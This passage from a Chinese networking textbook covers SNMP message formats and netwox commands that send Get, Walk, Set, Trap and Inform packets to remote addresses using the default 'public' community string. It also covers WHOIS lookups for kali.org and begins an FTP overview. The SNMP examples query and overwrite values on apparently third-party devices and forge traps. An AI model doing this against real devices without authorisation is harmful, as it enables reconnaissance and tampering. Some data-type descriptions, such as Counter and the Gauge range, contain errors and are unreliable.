·网络管理站：一个管理控制台，也称为网络管理系统（Network Management System，NMS）。它是一台带有必要SNMP管理软件的普通计算机，主要用来管理与监控网络上的设备。

·节点：网络上的设备（被管理的设备）。例如，图11.1中的路由器、网关等都是节点设备。


11.1.3　工作原理

SNMP可以用来发现、查询和监视网络中其他设备的状态信息。其工作流程如图11.2所示。

图11.2中展现了管理员通过NMS获取网关监控数据的工作流程，其中涉及了一些SNMP协议的关键信息。为了方便理解，下面先介绍这些信息的作用及含义。

·MIB（管理信息库）：任何一个被管理的设备都表示成一个对象，并称为被管理的对象。而MIB就是被管理对象的集合。它定义了被管理对象的一系列属性，如对象的名称、对象的访问权限和对象的数据类型等。每个设备都有自己的MIB。MIB是一种树状数据库，MIB管理的对象，就是树的端节点，每个节点都有唯一位置和唯一名字。
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图11.2　SNMP工作流程

·SNMP代理：是一种嵌入在被管理设备中的网络管理软件模块，主要用来控制本地机器的管理信息。它还负责将管理信息转换成SNMP兼容的格式，传递给NMS。

图11.2所示的工作流程分为以下4个步骤：

（1）当管理员查询被管理设备中的对象的相关值时，首先通过网络管理站NMS中的MIB找到相关对象。

（2）网络管理站NMS向SNMP代理申请MIB中定义对象的相关值。

（3）SNMP代理在自己的MIB库中进行查找。

（4）SNMP代理将找到的对象相关值返回给网络管理站NMS。


11.1.4　通信方式

SNMP采用特殊的客户机/服务器模式进行通信。这里的客户端指的是网络管理站NMS，服务器指的是SNMP代理。实际上它们的通信方式是网络管理站NMS与SNMP代理之间的通信，如图11.3所示。
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图11.3　通信方式

图11.3中的通信方式分为请求与应答两个步骤：

（1）网络管理站NMS向SNMP代理发出请求，询问一个MIB定义的信息的参数值。

（2）SNMP代理收到请求后，返回关于MIB定义信息的各种查询。


11.1.5　操作类型

SNMP协议用来管理管理站NMS与SNMP代理之间的信息交互。因此，它提供了多种操作类型。常用的6种操作类型如图11.4所示。

图11.4中为5种信息交互形式的操作类型，一共有6种操作类型，每种操作类型含义如下：

·get-request：网络管理站NMS从SNMP代理处提取一个或多个参数值。

·get-response：返回一个或多个参数的值。

·get-next-request：网络管理站NMS从SNMP代理处提取一个或多个参数的下一个参数值。
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图11.4　常用操作类型

·set-request：网络管理站NMS设置SNMP代理处MIB的相关参数值。

·trap：SNMP代理主动向网络管理站NMS发送报文消息。

·informRequest：SNMP代理主动向网络管理站NMS发送报文消息，NMS进行响应。


11.2　信息格式

通过前面的学习我们知道，MIB是一个信息管理库，在该库中包含了大量的对象，这些对象有自己唯一的位置和名字。那么它们是如何进行区分的呢？本节将介绍这些信息格式。


11.2.1　对象标识符（OID）

管理信息库MIB指明了网络元素所维持的变量，即能够被管理进程查询和设置的信息。MIB给出了网络中所有可能的被管理对象集合的数据结构。SNMP的管理信息库采用和域名系统DNS相似的树形结构，如图11.5所示。

图11.5所示为管理信息库中的一部分信息。最上面部分为根，没有名字，其余部分都是节点，由一个专用的名字和数字这两部分构成。这些名字不是随便分配的，而是由一些权威组织进行管理和分配的。
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图11.5　管理信息库中的对象标识符

图中的每一个节点表示一个被管理的对象，每一个对象都可以从根开始找出一条唯一的路径，这个路径就是对象标识符OID，它是以点“.”进行分隔的整数序列。例如，对象标识符1.3.6.1.2.1，表示对象iso.org.dod.internet.mgmt.mib。


11.2.2　对象下面的分组

在管理信息库MIB中，管理对象下面会被分为若干个组。例如，管理对象mib的分组如图11.6所示。其中，mib下的分组有system组、interfaces组和at组等。
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图11.6　管理对象下面的分组


11.2.3　数据类型（值类型）

管理信息库MIB用于收集和储存管理信息（管理对象的状态和统计信息），并且能够使NMS通过SNMP代理查询对象信息或进行设置。而MIS用于定义通过SNMP协议可访问对象的规则，它定义在MIB中使用的数据类型。常用的数据类型及含义如下：

·Integer：整数类型，有多种形式。有些整型变量没有范围限制，有些整型变量定义为特定的数值。例如，IP的转发标志只有允许转发或者不允许转发。有些整型变量定义包含特定的范围，如UDP和TCP的端口号从0～65535）。

·OCTER STRING：0或多个8bit字节，每个字节值在0～255之间。

·Display String：0或多个8bit字节，但是每个字节必须是ASCII码。在MIB-II中，所有该类型的变量不能超过255个字符，但可以为0个字符。

·OBJECT IDENTIFIER：对象标识符。

·NULL：表示相关的变量没有值。例如，在get或get-next操作中，变量的值就是NULL。因为这些值还没有获取。

·IpAddress：以网络序表示的IP地址。因为它是一个32位的值，所以定义为4个字节。

·PhysAddress：OCTER STRING类型，代表物理地址。例如，以太网物理地址为6个字节。

·Counter：以网络序表示的IP地址。它是一个32位的值，被定义为4个字节。

·Gauge：非负整数，取值范围为0～4294976295（或增或减）。达到最大值后锁定，直到复位。例如，MIB中的tcpCurrEstab就是这种类型，它代表目前在ESTABLISHED或CLOSE_WAIT状态的TCP连接数。

·TimeTicks：时间计数器，以0.01秒为单位递增，但是不同的变量可以有不同的递增幅度。所以在定义这种类型变量时，必须指定递增幅度。

·SEQUENCE：用于列表。这一数据类型与大多数程序设计语言中的structure类似。一个SEQUENCE包括0个或多个元素，每一个元素可以是另一个ASN.1数据类型。


11.3　报文分析和构建


11.3.1　报文格式


SNMP协议中提供了多种操作类型，但是它们的报文格式主要分为两种格式。下面详细介绍这两种报文格式。

1.第一种报文格式

在SNMP协议中，操作类型get-request、get-response、get-next-request、set-request或informRequest的报文格式基本是相同的。报文格式如图11.7所示。
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图11.7　第一种报文格式

报文中每个字段的含义如下：

·版本：版本字段，写入版本字段的是版本号减1。例如，SNMP（即SNMPV1）应写入0。

·共同体：字符串形式，作为网络管理站NMS和SNMP代理之间的明文口令，默认为public。

·PDU类型：SNMP协议的操作类型。值为0，表示get-request操作；值为1，表示get-next-request操作；值为2，表示get-response操作；值为3，表示set-request操作；值为7，表示informRequest操作。

·请求标识：管理站NMS设置的一个整数值。SNMP代理在发送get-response报文时也要返回此请求标识符。

·差错状态：整数，由SNMP代理进行标注，指明有错误发生。可用的值及含义如表11.1所示。

·差错索引：当出现noSuchName、badValue或readOnly的错误时，由代理进程在回答时设置的一个整数。该数值指明引起错误的变量在变量列表中的偏移位置。

·名称：MIB管理信息库中的OID。

·值：OID对应的值。

表11.1　错误状态
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2.第二种报文格式

在SNMP协议中，trap操作类型的报文格式基本是相同的。报文格式如图11.8所示。
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图11.8　第二种报文格式

报文中每个字段的含义如下：

·版本：版本字段。

·共同体：作为管理进程和代理进程之间的明文口令，默认为public。

·PDU类型：SNMP协议的操作类型。这里值为4。

·企业：填入trap报文的网络设备的OID。该OID必须在1.3.6.1.4.1的节点上。

·SNMP代理地址：SNMP代理的IP地址。

·trap类型：trap类型可用的类型及含义如表11.2所示。

表11.2　trap类型
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·特定代码：指明代理自定义的时间。

·时间戳：指明从代理进程初始化到trap报告的事件发生所经历的时间，单位为10ms。例如，时间戳为1908表明在代理初始化后19080ms发生了该事件。

·名称：MIB管理信息库中的OID。

·值：OID对应的值。


11.3.2　构建SNMP Get请求

Get请求表示网络管理站NMS要从SNMP代理处获取被管理设备上的一个或多个参数值。netwox工具中编号为159的模块可以实现SNMP Get请求功能，它可以向SNMP服务设备发送Get请求，获取指定参数的值。语法格式如下：



netwox -q OID -i IP



其中，-q选项用来指定对象标识符，表示要获取该标识符对应的值；-i选项用来指定SNMP服务地址。

【实例11-1】已知支持SNMP协议的远程网络设备地址为199.58.200.68。在主机192.168.59.133上，构建SNMP Get请求，获取该设备上的系统基本信息。

（1）获取系统基本信息，执行命令如下：



root@daxueba:~# netwox 159 -q ".1.3.6.1.2.1.1.1.0" -i 199.58.200.68



命令中的.1.3.6.1.2.1.1.1.0为对象标识符，表示系统基本信息参数位置。获取到的系统基本信息如下：



'Dell Out-of-band SNMP Agent for Remote Access Controller'



以上输出信息显示了远程设备的系统信息，从中可以了解到该设备是戴尔远程访问控制器。

（2）通过抓包可以捕获到对应的请求和响应包。Get请求包如图11.9所示。

[image: ]


图11.9　Get请求数据包

图11.7中，第2个数据包的源IP地址为192.168.59.133，目标IP地址为199.58.200.68，Info列中的基本信息为get-request 1.3.6.1.2.1.1.1.0，表示成功向远程设备发送了SNMP Get请求。第4个数据包为对应的响应包。请求数据包的Simple Network Management Protocol部分显示了Get请求包的报文信息，具体如下：



Simple Network Management Protocol
    version: version-1 (0)                                    #版本，这里值为0，代表SNMP v1
    community: public                                         #共同体
    data: get-request (0)                                     #PDU类型，这里值为0，表示为Get请求
        get-request
            request-id: 1330050988                            #请求标识
            error-status: noError (0)                         #差错状态，值为0，表示无差错
            error-index: 0                                    #差错索引
            variable-bindings: 1 item                         #变量绑定
                1.3.6.1.2.1.1.1.0: Value (Null)               #变量名：值，目前值为空，因为
                                                                                是请求包
                    Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0)
                                                              #变量名
                    Value (Null)                              #值，这里值为空



上述输出信息显示了Get请求包中的字段信息。可以看到请求的变量名为1.3.6.1.2.1.1.1.0，目前变量值为空，使用的请求标识为1330050988。

（3）响应包信息如图11.10所示。
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图11.10　响应包

响应包的报文信息如下：



Simple Network Management Protocol
    version: version-1 (0)
    community: public
    data: get-response (2)                          #PDU类型，这里值为2，表示为响应包
        get-response
            request-id: 1330050988                  #请求标识
            error-status: noError (0)
            error-index: 0
            variable-bindings: 1 item
                1.3.6.1.2.1.1.1.0: 44656c6c204f75742d6f662d62616e6420534e4
    d50204167...
                    Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0)
                    Value (OctetString): 44656c6c204f75742d6f662d62616e642
    0534e4d50204167...
                        Variable-binding-string: Dell Out-of-band SNMP Agent
    for Remote Access Controller



从输出信息中可以看到，请求标识为1330050988与请求包中的请求标识相同，表示是同一次的请求与响应；这里的值类型为OctetString，并且成功返回了要查询的系统基本信息（最后一行）。


11.3.3　构建SNMP Walk请求

Walk请求与Get请求类似，实际上是一个Get-next-request请求。区别在于，Walk请求是获取对象标识符在系统树中所处位置的下一个对象标识符，并请求参数值。netwox工具中编号为160的模块实现了SNMP Walk请求功能，它可以向SNMP服务设备发送Walk请求，获取指定对象标识符的下一个对象标识符。语法格式如下：



netwox -q OID -i IP



其中，-q选项用来指定对象标识符，表示要获取该标识符的下一个对象标识符；-i选项用来指定SNMP服务地址。

【实例11-2】已知支持SNMP协议的远程网络设备地址为198.13.107.218。在主机192.168.59.133上构建SNMP Get请求，获取指定标识符的下一个标识符的值。

（1）获取网络接口描述信息，执行命令如下：



root@daxueba:~# netwox 160 -q ".1.3.6.1.2.1.2.2.1.2" -i 198.13.107.218



命令中.1.3.6.1.2.1.2.2.1.2为网络接口描述信息的标识符。执行命令后输出信息如下：



.1.3.6.1.2.1.2.2.1.2.1: 'LOOPBACK'



以上输出信息显示了下一个标识符，这里为.1.3.6.1.2.1.2.2.1.2.1，并且获取到了对应的值为LOOPBACK。表示网络接口为回环接口。

（2）通过抓包可以看到构建的SNMP Walk请求包和对应的响应包，如图11.11所示。

其中，第18个数据包的源IP地址为192.168.59.133，目标IP地址为198.13.107.218，Info列中的基本信息为get-next-request 1.3.6.1.2.1.2.2.1.2。其中，1.3.6.1.2.1.2.2.1.2表示OID，get-next-request表示要获取该OID的下一个OID。该数据包的报文信息如下：



Simple Network Management Protocol
    version: version-1 (0)
    community: public
    data: get-next-request (1)                  #PDU类型，这里值为1，表示为Walk请求
        get-next-request
            request-id: 222961396
            error-status: noError (0)
            error-index: 0
            variable-bindings: 1 item
                1.3.6.1.2.1.2.2.1.2: Value (Null)
                    Object Name: 1.3.6.1.2.1.2.2.1.2 (iso.3.6.1.2.1.2.2.1.2)
                                                #对象名（变量名）
                    Value (Null)
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图11.11　请求指定的OID

从输出信息可以看到，报文中PDU类型为1，请求的变量名为对象标识符1.3.6.1.2.1.2.2.1.2。

（3）捕获到的返回数据包，如图11.12所示。该数据包为对应的响应包。此时在报文中可以看到，对象名为1.3.6.1.2.1.2.2.1.2.1，该OID是命令中指定的OID的下一个OID。
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图11.12　响应数据包

（4）指定再次向下一个OID发送请求，捕获的数据包如图11.13所示。从图中的数据包报文中可以看到，对象名为1.3.6.1.2.1.2.2.1.2.1，表示向下一个OID发送了请求。
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图11.13　请求下一个OID


11.3.4　构建SNMP Trap请求

一般情况下，网络管理站NMS向SNMP代理发送请求，获取被管理设备的参数值。然后，SNMP代理将自己在MIB管理信息库中查到的参数值返回给网络管理站NMS。这种方式采用的是Get请求。但是还有一种情况，就是SNMP代理主动向网络管理站NMS发出报文，通知发生了某些事件。该种情况使用的是Trap请求，它可以用来通知故障、连接的中断和恢复、认证失败等消息。由于SNMP版本不同，netwox工具提供了不同的模块，用于构建SNMPv1版本和SNMPv2版本的Trap请求。

1.构建SNMPv1版本的Trap请求

netwox工具编号为161的模块实现了SNMPv1版本的Trap请求功能，其语法格式如下：



netwox 161 -i IP -r OID -a IP -s Traptype -z timestamp -n OID -t OIDtype
    -V oidvalue



其中，-i选项用来指定远程主机服务（网络管理站NMS）的地址；-r选项用来指定报文的网络设备的OID（报文中的企业字段）；-a选项用来指定SNMP代理的IP地址；-s选项用来指定Trap类型；-z选项用来指定时间戳；-n选项用来指定要告诉网络管理站NMS，发生事情的OID；-t选项用来指定OID类型；-V选项用来指定OID对应的值。

【实例11-3】已知网络管理站NMS地址为182.16.184.190。主机192.168.59.133作为SNMP代理，构建SNMP Trap请求，具体步骤如下：

（1）构建SNMP Get请求，设置企业对象OID为.1.3.6.1.4.1，通知网络管理站NMS，OID.1.3.6.1.2.1.1.1.0对应的值为APC Web/SNMP Management Card。执行命令如下：



root@daxueba:~# netwox 161 -i "182.16.184.190" -r ".1.3.6.1.4.1.3.1" –a
    "192.168.59.133" -s "3" -z "0" -n ".1.3.6.1.2.1.1.1.0" -t "s" -V "APC Web/SNMP
    Management Card"



执行命令后没有任何输出信息，但是会成功构建SNMP Trap请求。

（2）通过抓包查看构建的SNMP Trap请求，如图11.14所示。
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图11.14　SNMPv1版本的Trap请求

其中，该数据包的源IP地址为192.168.59.133，目标IP地址为182.16.184.190。Info列显示了trap，表示该数据包为SNMP代理向客户端发送的Trap数据包，是针对SNMPv1版本的。Simple Network Management Protocol部分显示了Trap请求的相关报文信息，具体如下：



    Simple Network Management Protocol
    version: version-1 (0)
    community: public
    data: trap (4) )                                             #PDU类型，这里值为4，表示为Trap请求
        trap
            enterprise: 1.3.6.1.4.1.3.1 (iso.3.6.1.4.1.3.1)      #企业OID
            agent-addr: 192.168.59.133                           #代理IP地址
            generic-trap: linkUp (3)                             #Trap类型
            specific-trap: 0                                     #特定代码
            time-stamp: 0                                        #时间戳
            variable-bindings: 1 item
                1.3.6.1.2.1.1.1.0: 415043205765622f534e4d50204d616e6167656
    d656e7420...
                    Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0)                                                                                                      #OID
                    Value (OctetString): 415043205765622f534e4d50204d616e616
    7656d656e7420...
                        Variable-binding-string: APC Web/SNMP Management Card                                                                                                #OID的值



上述输出信息显示了Trap请求的报文信息，如代理IP地址、Trap类型、OID，以及对应的值。

2.构建SNMPv2版本的Trap请求

netwox工具中编号为162的模块实现了SNMPv2版本的Trap请求功能，其语法格式如下：



netwox 162 -i IP -r OID -z timestamp -n OID -t OIDtype -V oidvalue



其中，-i选项用来指定网络管理站NMS的地址；-r选项用来指定报文中企业字段的OID；-z选项用来指定时间戳；-n选项用来告诉网络管理站NMS，发生事情的OID；-t选项用来指定OID类型；-V选项用来指定OID对应的值。

【实例11-4】构建SNMPv2版本的Trap请求。执行命令如下：



root@daxueba:~# netwox 162 -i "182.16.184.190" -r ".1.3.6.1.4.1.3.1" -z "0" -n ".1.3.6.1.2.1.1.1.0" -t "s" -V "APC Web/SNMP Management Card"



执行命令后没有任何输出信息。通过抓包查看构建的Trap请求，如图11.15所示。从报文中可以看到，data的值为snmpV2-trap(7)，表示PDU类型为SNMPv2版本的Trap请求。
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图11.15　SNMPv2版本的Trap请求


11.3.5　构建SNMP Inform请求

Inform请求是SNMP代理检测到设备上有资源消息产生，根据资源消息到MIB中找到对应的OID，并主动向网络管理站NMS发出Inform请求。与Trap请求不同的是，网络管理站NMS收到Inform请求后会给出响应。netwox工具提供编号为163的模块，可以用来构建SNMP Inform请求。

【实例11-5】已知网络管理站NMS地址为198.13.107.218，在主机192.168.59.133上构建Inform请求。操作步骤如下：

（1）构建Inform请求，指定OID.1.3.6.1.2.1.1.1.0对应的值为SNMP Management，执行命令如下：



root@daxueba:~# netwox 163 -i 198.13.107.218 -r ".1.3.6.1.4.1" -z "0" –n
    ".1.3.6.1.2.1.1.1.0" -t "s" -V "SNMP Management"



执行命令后没有任何输出信息，但是会成功构建Inform请求。

（2）通过抓包验证成功构建的Inform请求，捕获的数据包如图11.16所示。该数据包的源IP地址为192.168.59.133，目标IP地址为198.13.107.218。Info列显示了informRequest，表示该数据包为SNMP代理向网络管理站NMS发送的Inform请求数据包。在报文中可以看到，data的值为informRequest(6)。
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图11.16　Inform请求


11.3.6　构建SNMP Set请求

通过发送Get请求或Walk请求获取远程设备指定参数的值，实际上是获取远程设备中管理信息库MIB指定OID的值。为了方便对远程设备上MIB中的OID值进行管理，用户可以通过Set命令，改变设备的配置或控制设备的运转状态。netwox工具提供了编号为164的模块，用于构建SNMP Set请求，设置远程设备中MIB中的OID的值。语法格式如下：



netwox 164 -i IP -n OID -t OIDtype -V oidvalue



其中，-i选项指定远程设备的IP地址，-n选项指定要设置的MIB中OID的值，-t选项指定OID类型；-V选项指定OID对应的值。

【实例11-6】已知远程设备的IP地址为182.16.184.190，在主机192.168.59.133上构建SNMP Set请求，设置远程主机MIB中OID.1.3.6.1.2.1.1.1.0的值为Linux snmp 2.6.39#1 SMP PREEMPT。

（1）构建SNMP Set请求，执行命令如下：



root@daxueba:~# netwox 164 -i "182.16.184.190" -n ".1.3.6.1.2.1.1.1.0" –t
    "s" -V "Linux snmp 2.6.39 #1 SMP PREEMPT"



执行命令后没有任何输出信息，但是会成功构建SNMP Set请求。

（2）通过抓包查看构建的SNMP Set请求，如图11.17所示。其中，数据包的源IP地址为192.168.59.133，目标IP地址为182.16.184.190。Info列显示了set-request，表示成功构建了Set请求。在报文中可以看到，OID.1.3.6.1.2.1.1.1.0的值被设置为了Linux snmp 2.6.39#1 SMP PREEMPT。
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图11.17　构建SNMP Set请求


第12章　WHOIS协议

WHOIS是用来查询域名或IP所有者信息的传输协议。它可以用来查询域名是否已经被注册，以及注册者的详细信息。本章将详细讲解WHOIS协议的使用方式。


12.1　工作流程

WHOIS协议只是规定查询的方式，具体功能还是需要对应的程序来完成。这类程序被称为WHOIS服务。下面详细讲解WHOIS服务的作用以及工作流程。

1.WHOIS服务的作用

WHOIS服务是由注册商和注册局来提供，主要记录了支持的所有域名的信息。它是一个基于“查询/响应”的TCP事务服务，并向客户端提供对应的查询服务。

2.工作流程

WHOIS协议基于TCP协议工作。当客户端发起查询请求时，服务端进行响应。WHOIS协议工作流程如图12.1所示。

在这里，客户端向WHOIS服务器查询域名baidu.com的域名注册信息。其中，每个步骤介绍如下：

（1）客户端向WHOIS服务器的43端口发送TCP[SYN]数据包，请求建立连接。

（2）服务器返回TCP[SYN，ACK]包，表示可以进行连接。

（3）客户端向服务器发送要查询的信息。这里查询baidu.com的域名注册信息。所以发送域名baidu.com，以回车和换行结尾。

（4）服务器收到客户端的请求包，并查询自己的域名数据库。如果存在相应的记录，将相关信息返回给客户端，如所有者信息。

（5）服务器继续将更多的域名注册信息返回给客户端，如联系方式、邮件地址等。

（6）当服务器将所有的信息都返回给客户端后，将关闭连接。此时，向客户端发送TCP[FIN]数据包。

（7）客户端收到服务器发来的关闭连接数据包，将关闭连接。然后，向服务器发送TCP[FIN]数据包。
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图12.1　工作流程


12.2　获取WHOIS服务器

WHOIS服务器通常由域名注册商和分销商搭建。在域名注册的时候，注册人通常将信息提交给域名注册商或其分销商。因此，用户可以从域名注册商和分销商的WHOIS服务器获取域名的相关注册信息。


12.2.1　常用WHOIS服务器

由于注册申请的域名、IP地址用途及作用和种类不同，使用的WHOIS服务器也不同。常用的Internet管理机构的WHOIS服务器如表12.1所示。

表12.1　常用的WHOIS服务器

[image: ]


[image: ]



12.2.2　获取WHOIS服务

部分互联网机构只提供域名代理公司信息，不提供域名注册人信息。所以，用户需要到注册代理公司搭建的WHOIS服务器进行查询。这时需要查询域名所属的代理公司WHOIS服务器。netwox工具提供了编号197的模块，可以获取域名的基本注册信息，并猜测其WHOIS服务器。

【实例12-1】获取域名kali.org的WHOIS信息，并猜测代理服务商的WHOIS服务器。执行命令如下：



root@daxueba:~# netwox 197 -q kali.org



输出信息如下：



Using org.whois-servers.net server.
You may have to refine your query using another server (tool 196).
Domain Name: KALI.ORG                                    #请求的域名，这里为kali.org
Registry Domain ID: D88587735-LROR                       #域名ID
Registrar WHOIS Server: whois.no-ip.com                  #猜测的WHOIS服务
Registrar URL: http://www.noip.com/whois                 #注册的URL
Updated Date: 2016-01-02T10:17:21Z                       #更新时间
Creation Date: 2002-07-20T20:54:27Z                      #创建时间
Registry Expiry Date: 2025-07-20T20:54:27Z               #到期时间
Registrar Registration Expiration Date:
Registrar: Vitalwerks Internet Solutions, LLC DBA No-IP  #注册商
Registrar IANA ID: 1327                                  #IANA ID号
Registrar Abuse Contact Email: abuse@no-ip.com           #注册使用的邮件地址
Registrar Abuse Contact Phone: +775.8531883              #注册使用的电话号码
Reseller:                                                #注册人
Domain Status: clientTransferProhibited https://icann.org/epp#client
     TransferProhibited
Registrant Organization:                                 #注册人的组织
Registrant State/Province: NV                            #注册人所在的州/省
Registrant Country: US                                   #注册人所在国家
Name Server: NS3.NO-IP.COM                               #名称服务器（DNS）
Name Server: NS2.NO-IP.COM
Name Server: NS1.NO-IP.COM
Name Server: NS4.NO-IP.COM
Name Server: NS5.NO-IP.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form https://www.icann.
    org/wicf/)
>>> Last update of WHOIS database: 2018-11-28T10:01:09Z <<<



以上输出信息显示了域名kali.org的基本WHOIS信息。例如，注册商为Vitalwerks Internet Solutions，LLC DBA No-IP，注册使用的邮件地址为abuse@no-ip.com等。但是这些信息只是部分WHOIS信息。输出信息的加粗部分表示，猜测WHOIS服务为whois.no-ip.com。表示从该WHOIS服务器上可以获取到更详细的WHOIS信息。


12.3　获取WHOIS信息

注册商的WHOIS服务器往往保留了域名更详细的WHOIS信息。netwox工具提供了编号196的模块，它可以从指定的WHOIS服务器获取域名WHOIS信息。

【实例12-2】已知域名kali.org注册商的WHOIS服务器为whois.no-ip.com，从该服务器上获取域名kali.org的WHOIS信息。执行命令如下：



root@daxueba:~# netwox 196 -i "whois.no-ip.com" -q "kali.org"



输出信息如下：



Domain Name: KALI.ORG                                          #请求的域名
Registry Domain ID: D88587735-LROR                             #域名ID
Registrar WHOIS Server: whois.no-ip.com                        #最佳的WHOIS服务
Registrar URL: http://www.noip.com/whois/                      #注册的URL
Updated Date: 2018-09-26T23:36:52+00:00                        #更新时间
Creation Date: 2002-07-20T20:54:27+00:00                       #创建时间
Registrar Registration Expiration Date: 2025-07-20T20:54:27+00:00
                                                               #到期时间
Registrar: Vitalwerks Internet Solutions, LLC / No-IP.com      #注册商
Registrar IANA ID: 1327                                        #IANA ID号
Registrar Abuse Contact Email: abuse@noip.com                  #注册使用的邮件地址
Registrar Abuse Contact Phone: +1.7758531883                   #注册使用的电话号码
Domain Status: clientTransferProhibited http://www.icann.org/epp#client
    TransferProhibited
Registry Registrant ID: NOIP481ff1bc79b0                       #注册人ID号
Registrant Name: Registration Privacy, No-IP.com               #注册人名称
Registrant Organization:                                       #注册人的组织
Registrant Street: ATTN: kali.org, c/o No-IP.com Registration Privacy
                                                               #注册人所在街道
Registrant Street: P.O. Box 19083
Registrant City: Reno                                          #注册人所在城市
Registrant State/Province: NV                                  #注册人所在的州/省
Registrant Postal Code: 89511                                  #注册人的邮编
Registrant Country: US                                         #注册人所在国家
Registrant Phone: +1.7758531883                                #注册人的电话
Registrant FAX:                                                #注册人传真
Registrant Email: c5cfff269b40af09-746968@privacy.no-ip.com
                                                               #注册人的邮件地址
Registry Admin ID: NOIP481ff1bc79b0                            #管理员的ID号
Admin Name: Registration Privacy, No-IP.com                    #管理员的名字
Admin Street: ATTN: kali.org, c/o No-IP.com Registration Privacy
                                                               #管理员所在街道
Admin Street: P.O. Box 19083
Admin City: Reno                                               #管理员所在城市
Admin State/Province: NV                                       #管理员所在的州/省
Admin Postal Code: 89511                                       #管理员的邮编
Admin Country: US                                              #管理员所在国家
Admin Phone: +1.7758531883                                     #管理员的电话
Admin FAX:                                                     #管理员传真
Admin Email: c5cfff269b40af09-746968@privacy.no-ip.com         #管理员的邮件地址
Registry Tech ID: NOIP481ff1bc79b0                             #技术员的ID号
Tech Name: Registration Privacy, No-IP.com                     #技术员的名字
Tech Organization:                                             #技术员的组织
Tech Street: ATTN: kali.org, c/o No-IP.com Registration Privacy
                                                               #技术员所在街道
Tech Street: P.O. Box 19083
Tech City: Reno                                                #技术员所在城市
Tech State/Province: NV                                        #技术员所在的州/省
Tech Postal Code: 89511                                        #技术员的邮编
Tech Country: US                                               #技术员所在国家
Tech Phone: +1.7758531883                                      #技术员的电话
Tech FAX:                                                      #技术员传真
Tech Email: c5cfff269b40af09-746968@privacy.no-ip.com          #技术员的邮件地址
Registry Billing ID: NOIP481ff1bc79b0                          #缴费人员 ID
Billing Name: Registration Privacy, No-IP.com                  #缴费人员名称
Billing Organization:                                          #缴费人员组织
Billing Street: ATTN: kali.org, c/o No-IP.com Registration Privacy
                                                               #缴费人员所在街道
Billing Street: P.O. Box 19083
Billing City: Reno                                             #缴费人员所在城市
Billing State/Province: NV                                     #缴费人员所在的州/省
Billing Postal Code: 89511                                     #缴费人员邮编
Billing Country: US                                            #缴费人员所在国家
Billing Phone: +1.7758531883                                   #缴费人员电话号码
Billing FAX:                                                   #缴费人员的传真
Billing Email: c5cfff269b40af09-746968@privacy.no-ip.com
                                                               #缴费人员的邮件地址
Name Server: NS2.NO-IP.COM                                     #名称服务器
Name Server: NS1.NO-IP.COM
Name Server: NS3.NO-IP.COM
Name Server: NS4.NO-IP.COM
Name Server: NS5.NO-IP.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.
    internic.net/



以上输出信息显示了域名kali.org的WHOIS信息，如注册人、管理员、技术员、交费人员的相关信息。


第13章　FTP协议

文件传输协议（File Transfer Protocol，FTP）是一种提供网络之间共享文件的协议。它可以在计算机之间可靠、高效地传送文件。在传输时，传输双方的操作系统、磁盘文件系统类型可以不同。本章将详细讲解FTP协议。


13.1　FTP协议概述

FTP协议允许TCP/IP网络上的两台计算机之间进行文件传输。而FTP服务是基于FTP协议的文件传输服务。工作时，一台计算机上运行FTP客户端应用程序，另一台计算机上需要运行FTP服务器端程序。只有拥有了FTP服务，客户端才能进行文件传输。下面介绍FTP服务的构成和文件传输模式。


13.1.1　FTP服务构成

上述的文件传输，指的是客户端和FTP服务器端之间的文件传输，如文件上传和下载。要实现文件传输还需要满足两个条件，如下：

（1）服务器端必须开启一个TCP端口（默认为21端口），用来监听来自客户端的请求。

（2）客户端连接FTP服务器端，需要使用TCP方式。这样可以保证客户端和服务器之间的会话是可靠的。

客户端与FTP服务器端之间传输一个文件是一次完整的FTP会话。该会话包含有两个连接，分别为控制连接和数据连接。其作用如下：

·控制连接：客户端向FTP服务器的21端口发送连接，服务器接受连接，建立一条命令通道。FTP的命令和应答就是通过控制连接来传输的，这个连接会存在于整个FTP会话过程中。该连接主要负责将命令从客户端传给服务器，并将服务器的应答返回给客户端。所以，该连接不用于发送数据，只用于传输命令。

·数据连接：每当一个文件在客户端与服务器之间进行传输时，就会创建数据连接。该连接主要用来进行文件传输。


13.1.2　数据格式

在使用FTP进行文件传输时，针对不同的文件类型，FTP提供了两种文件传输模式，分别为ASCII和二进制。这两种模式支持的文件如下：

·ASCII：用于传输简单的文本文件，为默认类型。

·二进制：用于传输程序文件、字处理文档、可执行文件或图片。


13.2　FTP工作流程

FTP与大多数Internet服务一样，使用的也是“客户端/服务器”模式。用户通过一个支持FTP协议的客户机程序，连接在远程主机上的FTP服务器程序。通过在客户端向服务器端发送FTP命令，服务器执行该命令，并将执行结果返回给客户端。由于“控制连接”的因素，客户端发送的FTP命令，服务器都会有对应的应答。FTP工作流程如图13.1所示。
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图13.1　工作流程

图13.1中显示了FTP进行文件传输的基本工作流程。主要分为4个阶段，即建立连接阶段、身份认证阶段、命令交互阶段和断开连接阶段。下面对这4个阶段进行详细介绍。


13.2.1　建立连接阶段

该阶段是FTP客户端通过TCP三次握手与FTP服务器端进行建立连接。客户端向FTP服务器发出建立连接请求，FTP服务器对请求进行应答。如果FTP服务器上的21端口是启用的，可以接受来自其他主机的请求，给出应答220，表示服务就绪，即告诉客户端需要的FTP服务已经准备好了。返回应答以后，FTP服务器需要客户端进行身份认证，向客户端发送身份认证请求。


13.2.2　身份认证阶段

身份认证是指客户端需要向FTP服务提供登录所需的用户名和密码。FTP服务器对客户端输入的用户名和密码都会给出相应的应答。如果客户端输入的用户名和密码正确，将成功登录FTP服务器，此时进入FTP会话。


13.2.3　命令交互阶段

在FTP会话中，用户可以执行FTP命令进行文件传输，如查看目录信息、上传或下载文件等。客户端输入要执行的FTP命令后，服务器同样会给出应答。如果输入的执命令正确，服务器会将命令的执行结果返回给客户端。执行结果返回完成后，服务器继续给出应答。


13.2.4　断开连接阶段

当客户端不再与FTP服务器进行文件传输时，需要断开连接。客户端向FTP服务器发送断开连接请求，服务器收到断开连接后给出相应的应答。


13.2.5　验证工作流程

为了能够更好地理解FTP客户端与服务器的工作流程，下面以一个简单的实例进行讲解。

【实例13-1】已知FTP服务器的IP地址为192.168.59.135。使用一个主机作为FTP客户端与FTP服务器进行文件传输。这里查看FTP服务器上目录content中的信息。执行命令如下：



root@daxueba:~# ftp



